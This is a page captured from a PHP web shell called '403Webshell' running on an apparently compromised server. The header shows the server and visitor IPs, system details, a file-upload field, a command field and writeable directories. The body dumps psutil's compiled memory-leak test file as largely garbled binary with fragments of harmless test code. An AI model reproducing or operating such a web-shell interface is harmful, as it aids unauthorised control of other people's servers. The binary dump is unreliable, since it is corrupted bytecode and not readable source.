403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/psutil/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/psutil/tests/__pycache__/test_memleaks.cpython-311.pyc
�

�bic�:���dZddlmZddlZddlZddlZddlZddlZddlZddlm	Z	ddlm
Z
ddlmZddlmZddlm
Z
dd	lmZdd
lmZddlmZddlmZdd
lmZddlmZddlmZddlmZddlmZddlmZddlmZddlmZddlmZddlmZddlmZddlmZddlm Z ddlm!Z!ddlm"Z"ddlm#Z#ddlm$Z$ddlm%Z%ddlm&Z&ej'j(Z(ej)��Z*d Z+d!�Z,Gd"�d#e��Z-Gd$�d%e-��Z.ej/ed&��Gd'�d(e����Z0Gd)�d*e��Z1e2d+krdd,l3m4Z4e4e5��dSdS)-a�
Tests for detecting function memory leaks (typically the ones
implemented in C). It does so by calling a function many times and
checking whether process memory usage keeps increasing between
calls or over time.
Note that this may produce false positives (especially on Windows
for some reason).
PyPy appears to be completely unstable for this framework, probably
because of how its JIT handles memory, so tests are skipped.
�)�print_functionN)�LINUX)�MACOS)�OPENBSD)�POSIX)�SUNOS)�WINDOWS)�ProcessLookupError)�super)�HAS_CPU_AFFINITY)�HAS_CPU_FREQ)�HAS_ENVIRON)�
HAS_IONICE)�HAS_MEMORY_MAPS)�HAS_NET_IO_COUNTERS)�HAS_PROC_CPU_NUM)�HAS_PROC_IO_COUNTERS)�
HAS_RLIMIT)�HAS_SENSORS_BATTERY)�HAS_SENSORS_FANS)�HAS_SENSORS_TEMPERATURES)�TestMemoryLeak)�create_sockets)�
get_testfn)�process_namespace)�skip_on_access_denied)�spawn_testproc)�system_namespace)�	terminate�c��d�}|S)zsDecorator for those Linux functions which are implemented in pure
    Python, and which we want to run faster.
    c�F��tj����fd���}|S)Nc���trG|jj}	t|j_�|g|�Ri|��||j_S#||j_wxYw�|g|�Ri|��S�N)r�	__class__�times�	FEW_TIMES)�self�args�kwargs�before�funs    ��</usr/lib/python3/dist-packages/psutil/tests/test_memleaks.py�wrapperz5fewtimes_if_linux.<locals>.decorator.<locals>.wrapperCs�����
2���-��2�+4�D�N�(��3�t�5�d�5�5�5�f�5�5�+1�D�N�(�(��6�D�N�(�1�1�1�1��s�4�1�$�1�1�1�&�1�1�1s	�?�A
)�	functools�wraps)r,r.s` r-�	decoratorz$fewtimes_if_linux.<locals>.decoratorBs8���	���	�	�		2�		2�		2�		2�
�	�		2����)r1s r-�fewtimes_if_linuxr4>s������r2c��eZdZdZeZd�Ze��d���Ze��d���Z	e��d���Z
e��d���Zej
ed��e��d�����Zej
ed��e��d	�����Ze��d
���Zd�Zd�Zej
ed
��d���Zej
ed
��d���Zej
ed
��e��d�����Zej
ed��d���Ze��d���Ze��ee���d�����Zej
ed��d���Zej
ed��e��d�����Z e��d���Z!e��ee���d�����Z"e��d���Z#e��ej
e$d
��d�����Z%e��d���Z&e��d���Z'ej
ed��e��d�����Z(d �Z)e��d!���Z*ej
e+d
��d"���Z,ej
e+d
��d#���Z-e��d$���Z.ej
e/d
��e��d%�����Z0ej
e1d&��ej
e2d
��d'�����Z3ej
e1d&��ej
e2d
��d(�����Z4e��ej
ed)��d*�����Z5ej
e6d
��d+���Z7ej
ed��d,���Z8d-S).�TestProcessObjectLeaksz$Test leaks of Process class methods.c�j�td��}|�||j|jz��dSr$)r�test_class_coverage�getters�setters�r(�nss  r-�
test_coveragez$TestProcessObjectLeaks.test_coverage\s4��
�t�
$�
$��
���t�R�Z�"�*�%<�=�=�=�=�=r2c�D�|�|jj��dSr$)�execute�proc�name�r(s r-�	test_namez TestProcessObjectLeaks.test_name`������T�Y�^�$�$�$�$�$r2c�D�|�|jj��dSr$)r?r@�cmdlinerBs r-�test_cmdlinez#TestProcessObjectLeaks.test_cmdlined������T�Y�&�'�'�'�'�'r2c�D�|�|jj��dSr$)r?r@�exerBs r-�test_exezTestProcessObjectLeaks.test_exeh������T�Y�]�#�#�#�#�#r2c�D�|�|jj��dSr$)r?r@�ppidrBs r-�	test_ppidz TestProcessObjectLeaks.test_ppidlrDr2z
POSIX onlyc�D�|�|jj��dSr$)r?r@�uidsrBs r-�	test_uidsz TestProcessObjectLeaks.test_uidsp� ��	
���T�Y�^�$�$�$�$�$r2c�D�|�|jj��dSr$)r?r@�gidsrBs r-�	test_gidsz TestProcessObjectLeaks.test_gidsurSr2c�D�|�|jj��dSr$)r?r@�statusrBs r-�test_statusz"TestProcessObjectLeaks.test_statusz������T�Y�%�&�&�&�&�&r2c�D�|�|jj��dSr$)r?r@�nicerBs r-�	test_nicez TestProcessObjectLeaks.test_nice~s�����T�Y�^�$�$�$�$�$r2c�n���t��������fd���dS)Nc�8���j����Sr$)r@r\)�nicenessr(s��r-�<lambda>z6TestProcessObjectLeaks.test_nice_set.<locals>.<lambda>�s���T�Y�^�^�H�5�5�r2)�thisprocr\r?)r(r`s`@r-�
test_nice_setz$TestProcessObjectLeaks.test_nice_set�s6�����=�=�?�?�����5�5�5�5�5�6�6�6�6�6r2�
not supportedc�D�|�|jj��dSr$)r?r@�ionicerBs r-�test_ionicez"TestProcessObjectLeaks.test_ionice�rZr2c�J���tr4t��������fd���dS���fd���t	jtjtj	��dd��}��
t|��dS)Nc�8���j����Sr$)r@rf)r(�values��r-raz8TestProcessObjectLeaks.test_ionice_set.<locals>.<lambda>�s�����!1�!1�%�!8�!8�r2c�L���j�tj��Sr$)r@rf�psutil�IOPRIO_CLASS_NONErBs�r-raz8TestProcessObjectLeaks.test_ionice_set.<locals>.<lambda>�s�����!1�!1�&�2J�!K�!K�r2���r)r	rbrfr?r/�partial�cext�proc_ioprio_set�os�getpid�
execute_w_exc�OSError)r(r,rjs` @r-�test_ionice_setz&TestProcessObjectLeaks.test_ionice_set�s������	-��O�O�%�%�E��L�L�8�8�8�8�8�9�9�9�9�9��L�L�K�K�K�K�L�L�L��#�D�$8�"�)�+�+�r�1�M�M�C����w��,�,�,�,�,r2c�D�|�|jj��dSr$)r?r@�io_countersrBs r-�test_io_countersz'TestProcessObjectLeaks.test_io_counters��!��	
���T�Y�*�+�+�+�+�+r2zworthless on POSIXc��tj�����|�|jj��dSr$)rl�Process�usernamer?r@rBs r-�
test_usernamez$TestProcessObjectLeaks.test_username�s;��	����!�!�#�#�#����T�Y�'�(�(�(�(�(r2c�D�|�|jj��dSr$)r?r@�create_timerBs r-�test_create_timez'TestProcessObjectLeaks.test_create_time�������T�Y�*�+�+�+�+�+r2)�only_ifc�D�|�|jj��dSr$)r?r@�num_threadsrBs r-�test_num_threadsz'TestProcessObjectLeaks.test_num_threads�rzr2�WINDOWS onlyc�D�|�|jj��dSr$)r?r@�num_handlesrBs r-�test_num_handlesz'TestProcessObjectLeaks.test_num_handles�r�r2c�D�|�|jj��dSr$)r?r@�num_fdsrBs r-�test_num_fdsz#TestProcessObjectLeaks.test_num_fds��!��	
���T�Y�&�'�'�'�'�'r2c�D�|�|jj��dSr$)r?r@�num_ctx_switchesrBs r-�test_num_ctx_switchesz,TestProcessObjectLeaks.test_num_ctx_switches�������T�Y�/�0�0�0�0�0r2c�D�|�|jj��dSr$)r?r@�threadsrBs r-�test_threadsz#TestProcessObjectLeaks.test_threads�r�r2c�D�|�|jj��dSr$)r?r@�	cpu_timesrBs r-�test_cpu_timesz%TestProcessObjectLeaks.test_cpu_times�s�����T�Y�(�)�)�)�)�)r2c�D�|�|jj��dSr$)r?r@�cpu_numrBs r-�test_cpu_numz#TestProcessObjectLeaks.test_cpu_num�r�r2c�D�|�|jj��dSr$)r?r@�memory_inforBs r-�test_memory_infoz'TestProcessObjectLeaks.test_memory_info�r�r2c�D�|�|jj��dSr$)r?r@�memory_full_inforBs r-�test_memory_full_infoz,TestProcessObjectLeaks.test_memory_full_info�r�r2c�D�|�|jj��dSr$)r?r@�terminalrBs r-�
test_terminalz$TestProcessObjectLeaks.test_terminal�s!��	
���T�Y�'�(�(�(�(�(r2c�r�trtn|j}|�|jj|���dS)N�r&)rr'r&r?r@�resume�r(r&s  r-�test_resumez"TestProcessObjectLeaks.test_resume�s3��"�2�	�	��
�����T�Y�%�U��3�3�3�3�3r2c�D�|�|jj��dSr$)r?r@�cwdrBs r-�test_cwdzTestProcessObjectLeaks.test_cwd�rLr2c�D�|�|jj��dSr$)r?r@�cpu_affinityrBs r-�test_cpu_affinityz(TestProcessObjectLeaks.test_cpu_affinity�s�����T�Y�+�,�,�,�,�,r2c����t��������fd�����t�fd���dS)Nc�8���j����Sr$�r@r�)�affinityr(s��r-raz>TestProcessObjectLeaks.test_cpu_affinity_set.<locals>.<lambda>�s���T�Y�3�3�H�=�=�r2c�:���j�dg��S�Nrnr�rBs�r-raz>TestProcessObjectLeaks.test_cpu_affinity_set.<locals>.<lambda>�s����	� 6� 6��t� <� <�r2)rbr�r?rt�
ValueError)r(r�s`@r-�test_cpu_affinity_setz,TestProcessObjectLeaks.test_cpu_affinity_set�se�����(�(�*�*�����=�=�=�=�=�>�>�>�����<�<�<�<�	>�	>�	>�	>�	>r2c��tt��d��5|�|jj��ddd��dS#1swxYwYdS)N�w)�openrr?r@�
open_filesrBs r-�test_open_filesz&TestProcessObjectLeaks.test_open_files�s���
�*�,�,��
$�
$�	/�	/��L�L���-�.�.�.�	/�	/�	/�	/�	/�	/�	/�	/�	/�	/�	/�	/����	/�	/�	/�	/�	/�	/s� A
�
A�Ac�D�|�|jj��dSr$)r?r@�memory_mapsrBs r-�test_memory_mapsz'TestProcessObjectLeaks.test_memory_maps�rzr2z
LINUX onlyc�8�����fd���dS)Nc�L���j�tj��Sr$�r@�rlimitrl�
RLIMIT_NOFILErBs�r-raz4TestProcessObjectLeaks.test_rlimit.<locals>.<lambda>�s���T�Y�-�-�f�.B�C�C�r2�r?rBs`r-�test_rlimitz"TestProcessObjectLeaks.test_rlimit�s'���	
���C�C�C�C�D�D�D�D�Dr2c�����t�tj�������fd�����ttf�fd���dS)Nc�N���j�tj���Sr$r�)�limitr(s��r-raz8TestProcessObjectLeaks.test_rlimit_set.<locals>.<lambda>�s���T�Y�-�-�f�.B�E�J�J�r2c�8���j�d��Sr�)r@r�rBs�r-raz8TestProcessObjectLeaks.test_rlimit_set.<locals>.<lambda>�s���$�)�:J�:J�2�:N�:N�r2)rbr�rlr�r?rtrur�)r(r�s`@r-�test_rlimit_setz&TestProcessObjectLeaks.test_rlimit_set�sd�������� 4�5�5�����J�J�J�J�J�K�K�K����G�Z�0�2N�2N�2N�2N�O�O�O�O�Or2zworthless on WINDOWSc����t��5trdnd�����fd���ddd��dS#1swxYwYdS)N�inet�allc�8���j����Sr$)r@�connections)�kindr(s��r-raz9TestProcessObjectLeaks.test_connections.<locals>.<lambda>s�����!6�!6�t�!<�!<�r2)rrr?)r(r�s`@r-�test_connectionsz'TestProcessObjectLeaks.test_connections�s������
�
�	>�	>�"�-�6�6��D��L�L�<�<�<�<�<�=�=�=�	>�	>�	>�	>�	>�	>�	>�	>�	>�	>�	>�	>����	>�	>�	>�	>�	>�	>s�%A�A�
Ac�D�|�|jj��dSr$)r?r@�environrBs r-�test_environz#TestProcessObjectLeaks.test_environrHr2c�2�|�d���dS)Nc�X�t�tj����Sr$)rp�	proc_inforrrsr3r2r-raz7TestProcessObjectLeaks.test_proc_info.<locals>.<lambda>
s��T�^�^�B�I�K�K�8�8�r2r�rBs r-�test_proc_infoz%TestProcessObjectLeaks.test_proc_infos�����8�8�9�9�9�9�9r2N)9�__name__�
__module__�__qualname__�__doc__rbr@r=r4rCrGrKrO�unittest�skipIfrrRrVrYr]rcrrgrvrryr~r�rrr�r	r�r�r�r�r�rr�r�r�r�r�r�rr�r�r�rr�rrr�r�r�rr�r�r3r2r-r6r6Ws�������.�.��D�>�>�>�����%�%���%�����(�(���(�����$�$���$�����%�%���%��X�_��Y��-�-�����%�%���.�-�%��X�_��Y��-�-�����%�%���.�-�%�����'�'���'�%�%�%�7�7�7��X�_��^�_�5�5�'�'�6�5�'��X�_��^�_�5�5�-�-�6�5�-��X�_�-�-��?�?�����,�,���@�?�,��X�_�U�0�1�1�)�)�2�1�)�
����,�,���,�������7�+�+�+�,�,�,�+���,��X�_��[�.�1�1�,�,�2�1�,��X�_��Y��-�-�����(�(���.�-�(�����1�1���1�������7�+�+�+�(�(�,�+���(�����*�*���*������X�_�)�)�?�;�;�(�(�<�;���(�����,�,���,�����1�1���1��X�_��Y��-�-�����)�)���.�-�)�4�4�4�����$�$���$��X�_�)�)�?�;�;�-�-�<�;�-��X�_�)�)�?�;�;�>�>�<�;�>�����/�/���/��X�_��(�/�:�:�����,�,���;�:�,��X�_��Y��-�-��X�_��^�_�5�5�E�E�6�5�.�-�E��X�_��Y��-�-��X�_��^�_�5�5�P�P�6�5�.�-�P�
�����X�_�W�4�5�5�>�>�6�5���>��X�_��_�o�6�6�(�(�7�6�(��X�_��[�.�1�1�:�:�2�1�:�:�:r2r6c���eZdZdZe�fd���Ze�fd���Zd�Zerd�Z	d�Z
d�Zd�Zd	�Z
d
�Z�xZS�xZS)�TestTerminatedProcessLeaksz�Repeat the tests above looking for leaks occurring when dealing
    with terminated processes raising NoSuchProcess exception.
    The C functions are still invoked but will follow different code
    paths. We'll check those code paths.
    c���t�����t��|_t	j|jj��|_|j���|j�	��dSr$)
r�
setUpClassr�subprlr|�pidr@�kill�wait��clsr%s �r-r�z%TestTerminatedProcessLeaks.setUpClasss]���
��������!�#�#����>�#�(�,�/�/�����
�
������
�
�����r2c�p��t�����t|j��dSr$)r�
tearDownClassrr�r�s �r-r�z(TestTerminatedProcessLeaks.tearDownClasss/���
���������#�(�����r2c�H�	|��dS#tj$rYdSwxYwr$)rl�
NoSuchProcess)r(r,s  r-�callzTestTerminatedProcessLeaks.call!s;��	��C�E�E�E�E�E���#�	�	�	��D�D�	���s�
�!�!c�D�|�|jj��dSr$)r?r@r�rBs r-�	test_killz$TestTerminatedProcessLeaks.test_kill)����L�L����(�(�(�(�(r2c�D�|�|jj��dSr$)r?r@rrBs r-�test_terminatez)TestTerminatedProcessLeaks.test_terminate,s���L�L���,�-�-�-�-�-r2c�D�|�|jj��dSr$)r?r@�suspendrBs r-�test_suspendz'TestTerminatedProcessLeaks.test_suspend/s���L�L���*�+�+�+�+�+r2c�D�|�|jj��dSr$)r?r@r�rBs r-r�z&TestTerminatedProcessLeaks.test_resume2s���L�L���)�*�*�*�*�*r2c�D�|�|jj��dSr$)r?r@r�rBs r-�	test_waitz$TestTerminatedProcessLeaks.test_wait5r�r2c�<���fd�}��|��dS)Nc�p��	t��jj��S#t$rYdSwxYwr$)rpr�r@r�r
rBs�r-r�z7TestTerminatedProcessLeaks.test_proc_info.<locals>.call:s@�����>�>�$�)�-�8�8�8��)�����D�D����s�#'�
5�5r�)r(r�s` r-r�z)TestTerminatedProcessLeaks.test_proc_info8s6���
�
�
�
�
�
�L�L������r2)r�r�r�r��classmethodr�r�r�r	r�r�r�r�r�r��
__classcell__)r%s@r-r�r�
s����������������[��������[�������	)�	)�	)�	.�	.�	.�	,�	,�	,�	+�	+�	+�	)�	)�	)�	�	�	�	�	�	�	�#���r2r�r�c��eZdZd�Zd�ZdS)�TestProcessDualImplementationc�2�|�d���dS)Nc�\�t�tj��d���S)NT��use_peb�rp�proc_cmdlinerrrsr3r2r-razETestProcessDualImplementation.test_cmdline_peb_true.<locals>.<lambda>Gs��T�.�.�r�y�{�{�D�.�I�I�r2r�rBs r-�test_cmdline_peb_truez3TestProcessDualImplementation.test_cmdline_peb_trueFs�����I�I�J�J�J�J�Jr2c�2�|�d���dS)Nc�\�t�tj��d���S)NFrrr3r2r-razFTestProcessDualImplementation.test_cmdline_peb_false.<locals>.<lambda>Js��T�.�.�r�y�{�{�E�.�J�J�r2r�rBs r-�test_cmdline_peb_falsez4TestProcessDualImplementation.test_cmdline_peb_falseIs�����J�J�K�K�K�K�Kr2N)r�r�r�rr	r3r2r-r�r�Cs:������K�K�K�L�L�L�L�Lr2r�c���eZdZdZd�Ze��d���Ze��d���Ze��d���Ze��d���Z	e��d���Z
e��eje
oej��dkd	��ejed
��d�������Zejed��d
���Zd�Zejed��d���Zd�Zd�Zd�Zejeoej�d��d��e��d�����Ze��d���Ze��eje d
��d�����Z!e��eje
oej"��dkd��d�����Z#d�Z$d�Z%e��eje&d
��d�����Z'e��eje(d
��d�����Z)e��eje*d
��d �����Z+e��d!���Z,d"�Z-d#�Z.erd$�Z/d%�Z0d&�Z1d'�Z2d(�Z3d)Sd)S)*�TestModuleFunctionsLeaksz&Test leaks of psutil module functions.c�X�t��}|�||j��dSr$)rr8r�r;s  r-r=z&TestModuleFunctionsLeaks.test_coverageUs+��
�
�
��
���t�R�V�,�,�,�,�,r2c�2�|�d���dS)Nc�,�tjd���S)NT��logical�rl�	cpu_countr3r2r-raz9TestModuleFunctionsLeaks.test_cpu_count.<locals>.<lambda>]s��V�-�d�;�;�;�r2r�rBs r-�test_cpu_countz'TestModuleFunctionsLeaks.test_cpu_count[s�����;�;�<�<�<�<�<r2c�2�|�d���dS)Nc�,�tjd���S)NFrrr3r2r-raz?TestModuleFunctionsLeaks.test_cpu_count_cores.<locals>.<lambda>as��V�-�e�<�<�<�r2r�rBs r-�test_cpu_count_coresz-TestModuleFunctionsLeaks.test_cpu_count_cores_s�����<�<�=�=�=�=�=r2c�D�|�tj��dSr$)r?rlr�rBs r-r�z'TestModuleFunctionsLeaks.test_cpu_timesc������V�%�&�&�&�&�&r2c�2�|�d���dS)Nc�,�tjd���S)NT)�percpu)rlr�r3r2r-raz=TestModuleFunctionsLeaks.test_per_cpu_times.<locals>.<lambda>is��V�-�T�:�:�:�r2r�rBs r-�test_per_cpu_timesz+TestModuleFunctionsLeaks.test_per_cpu_timesgs�����:�:�;�;�;�;�;r2c�D�|�tj��dSr$)r?rl�	cpu_statsrBs r-�test_cpu_statsz'TestModuleFunctionsLeaks.test_cpu_statskrr2�arm64zskipped due to #1892rdc�D�|�tj��dSr$)r?rl�cpu_freqrBs r-�
test_cpu_freqz&TestModuleFunctionsLeaks.test_cpu_freqos��	
���V�_�%�%�%�%�%r2r�c�j�tj��|�tj��dSr$)rl�
getloadavgr?rBs r-�test_getloadavgz(TestModuleFunctionsLeaks.test_getloadavgws,����������V�&�'�'�'�'�'r2c�D�|�tj��dSr$)r?rl�virtual_memoryrBs r-�test_virtual_memoryz,TestModuleFunctionsLeaks.test_virtual_memory~s�����V�*�+�+�+�+�+r2z&worthless on SUNOS (uses a subprocess)c�D�|�tj��dSr$)r?rl�swap_memoryrBs r-�test_swap_memoryz)TestModuleFunctionsLeaks.test_swap_memory�s�����V�'�(�(�(�(�(r2c�`�trtn|j}|�d�|���dS)Nc�L�tjtj����Sr$)rl�
pid_existsrrrsr3r2r-raz:TestModuleFunctionsLeaks.test_pid_exists.<locals>.<lambda>�s��V�.�r�y�{�{�;�;�r2r��rr'r&r?r�s  r-�test_pid_existsz(TestModuleFunctionsLeaks.test_pid_exists�s2��"�2�	�	��
�����;�;�5��I�I�I�I�Ir2c�`�trtn|j}|�d�|���dS)Nc�*�tjd��S)N�.)rl�
disk_usager3r2r-raz:TestModuleFunctionsLeaks.test_disk_usage.<locals>.<lambda>�s��V�.�s�3�3�r2r�r0r�s  r-�test_disk_usagez(TestModuleFunctionsLeaks.test_disk_usage�s2��"�2�	�	��
�����3�3�5��A�A�A�A�Ar2c�D�|�tj��dSr$)r?rl�disk_partitionsrBs r-�test_disk_partitionsz-TestModuleFunctionsLeaks.test_disk_partitions�s�����V�+�,�,�,�,�,r2z/proc/diskstatsz3/proc/diskstats not available on this Linux versionc�2�|�d���dS)Nc�,�tjd���S�NF)�nowrap)rl�disk_io_countersr3r2r-raz@TestModuleFunctionsLeaks.test_disk_io_counters.<locals>.<lambda>�s��V�4�E�B�B�B�r2r�rBs r-�test_disk_io_countersz.TestModuleFunctionsLeaks.test_disk_io_counters�s ��	
���B�B�C�C�C�C�Cr2c�D�|�tj��dSr$)r?rl�pidsrBs r-�	test_pidsz"TestModuleFunctionsLeaks.test_pids�s�����V�[�!�!�!�!�!r2c�2�|�d���dS)Nc�,�tjd���Sr<)rl�net_io_countersr3r2r-raz?TestModuleFunctionsLeaks.test_net_io_counters.<locals>.<lambda>�s��V�3�5�A�A�A�r2r�rBs r-�test_net_io_countersz-TestModuleFunctionsLeaks.test_net_io_counters�s ��	
���A�A�B�B�B�B�Br2rzneed root accessc��tjd���t��5|�d���ddd��dS#1swxYwYdS)Nr��r�c�,�tjd���S)Nr�rH)rl�net_connectionsr3r2r-raz?TestModuleFunctionsLeaks.test_net_connections.<locals>.<lambda>�s���!7�U�!C�!C�!C�r2)rlrJrr?rBs r-�test_net_connectionsz-TestModuleFunctionsLeaks.test_net_connections�s���	��E�*�*�*�*�
�
�
�	E�	E��L�L�C�C�D�D�D�	E�	E�	E�	E�	E�	E�	E�	E�	E�	E�	E�	E����	E�	E�	E�	E�	E�	Es�A�A�Ac�h�trdn|j}|�tj|���dS)Ni@)�	tolerance)r	rMr?rl�net_if_addrs)r(rMs  r-�test_net_if_addrsz*TestModuleFunctionsLeaks.test_net_if_addrs�s1��!(�<�I�I�d�n�	����V�(�I��>�>�>�>�>r2c�D�|�tj��dSr$)r?rl�net_if_statsrBs r-�test_net_if_statsz*TestModuleFunctionsLeaks.test_net_if_stats�s�����V�(�)�)�)�)�)r2c�D�|�tj��dSr$)r?rl�sensors_batteryrBs r-�test_sensors_batteryz-TestModuleFunctionsLeaks.test_sensors_battery�s��	
���V�+�,�,�,�,�,r2c�D�|�tj��dSr$)r?rl�sensors_temperaturesrBs r-�test_sensors_temperaturesz2TestModuleFunctionsLeaks.test_sensors_temperatures�s��	
���V�0�1�1�1�1�1r2c�D�|�tj��dSr$)r?rl�sensors_fansrBs r-�test_sensors_fansz*TestModuleFunctionsLeaks.test_sensors_fans�s��	
���V�(�)�)�)�)�)r2c�D�|�tj��dSr$)r?rl�	boot_timerBs r-�test_boot_timez'TestModuleFunctionsLeaks.test_boot_time�rr2c�D�|�tj��dSr$)r?rl�usersrBs r-�
test_usersz#TestModuleFunctionsLeaks.test_users�s�����V�\�"�"�"�"�"r2c�2�|�d���dS)Nc�*�tjd��S)NF)rl�
_set_debugr3r2r-raz9TestModuleFunctionsLeaks.test_set_debug.<locals>.<lambda>�s��V�.�u�5�5�r2r�rBs r-�test_set_debugz'TestModuleFunctionsLeaks.test_set_debug�s�����5�5�6�6�6�6�6r2c�D�|�tj��dSr$)r?rp�winservice_enumeraterBs r-�test_win_service_iterz.TestModuleFunctionsLeaks.test_win_service_iter�s���L�L��2�3�3�3�3�3r2c��dSr$r3rBs r-�test_win_service_getz-TestModuleFunctionsLeaks.test_win_service_get�s���Dr2c���ttj��������|��fd���dS)Nc�8��t����Sr$)rp�winservice_query_config�rAs�r-razFTestModuleFunctionsLeaks.test_win_service_get_config.<locals>.<lambda>������!=�!=�d�!C�!C�r2��nextrl�win_service_iterrAr?�r(rAs @r-�test_win_service_get_configz4TestModuleFunctionsLeaks.test_win_service_get_config��G�����/�1�1�2�2�7�7�9�9�D��L�L�C�C�C�C�D�D�D�D�Dr2c���ttj��������|��fd���dS)Nc�8��t����Sr$)rp�winservice_query_statusrns�r-razFTestModuleFunctionsLeaks.test_win_service_get_status.<locals>.<lambda>�ror2rprss @r-�test_win_service_get_statusz4TestModuleFunctionsLeaks.test_win_service_get_status�rur2c���ttj��������|��fd���dS)Nc�8��t����Sr$)rp�winservice_query_descrrns�r-razKTestModuleFunctionsLeaks.test_win_service_get_description.<locals>.<lambda>�s����!<�!<�T�!B�!B�r2rprss @r-� test_win_service_get_descriptionz9TestModuleFunctionsLeaks.test_win_service_get_description�sG�����/�1�1�2�2�7�7�9�9�D��L�L�B�B�B�B�C�C�C�C�Cr2N)4r�r�r�r�r=r4rrr�rrr�r�r�platform�machiner
r#r	r&r)rr,r1r6r9rrr�path�existsr?rBrrF�getuidrKrOrRrrUrrXrr[r^rarerhrjrtryr}r3r2r-rrRs�������0�0�-�-�-�����=�=���=�����>�>���>�����'�'���'�����<�<���<�����'�'���'������X�_�U�<�/�x�/�1�1�W�<�+�-�-��X�_��%��7�7�&�&�8�7�-�-���
&��X�_��[�.�1�1�(�(�2�1�(�,�,�,��X�_�U�D�E�E�)�)�F�E�)�J�J�J�B�B�B�-�-�-��X�_�U�D�2�7�>�>�2C�#D�#D�D�J�L�L�����D�D���L�L�D�
����"�"���"�
�����X�_�,�,�o�>�>�C�C�?�>���C������X�_�U�/�y�r�y�{�{�a�/�1C�D�D�E�E�E�D���E�?�?�?�
*�*�*�
�����X�_�,�,�o�>�>�-�-�?�>���-������X�_�1�1�?�C�C�2�2�D�C���2������X�_�)�)�?�;�;�*�*�<�;���*�
����'�'���'�#�#�#�7�7�7��D�	4�	4�	4�	�	�	�	E�	E�	E�	E�	E�	E�	D�	D�	D�	D�	D�%D�Dr2r�__main__)�
run_from_name)6r��
__future__rr/rrr~r�rl�psutil._commonrrrrrr	�psutil._compatr
r�psutil.testsrr
rrrrrrrrrrrrrrrrrr�_psplatformrpr|rbr'r4r6r�r�r�rr��psutil.tests.runnerr��__file__r3r2r-�<module>r�s���	�	�&�%�%�%�%�%�����	�	�	�	���������
�
�
�
�����������������������������������������-�-�-�-�-�-� � � � � � �)�)�)�)�)�)�%�%�%�%�%�%�$�$�$�$�$�$�#�#�#�#�#�#�(�(�(�(�(�(�,�,�,�,�,�,�)�)�)�)�)�)�-�-�-�-�-�-�#�#�#�#�#�#�,�,�,�,�,�,�)�)�)�)�)�)�1�1�1�1�1�1�'�'�'�'�'�'�'�'�'�'�'�'�#�#�#�#�#�#�*�*�*�*�*�*�.�.�.�.�.�.�'�'�'�'�'�'�)�)�)�)�)�)�"�"�"�"�"�"������6�>����
�	����2s:�s:�s:�s:�s:�^�s:�s:�s:�l3�3�3�3�3�!7�3�3�3�l���W��n�-�-�L�L�L�L�L�N�L�L�.�-�L�UD�UD�UD�UD�UD�~�UD�UD�UD�p�z���1�1�1�1�1�1��M�(�������r2

Youez - 2016 - github.com/yon3zu
LinuXploit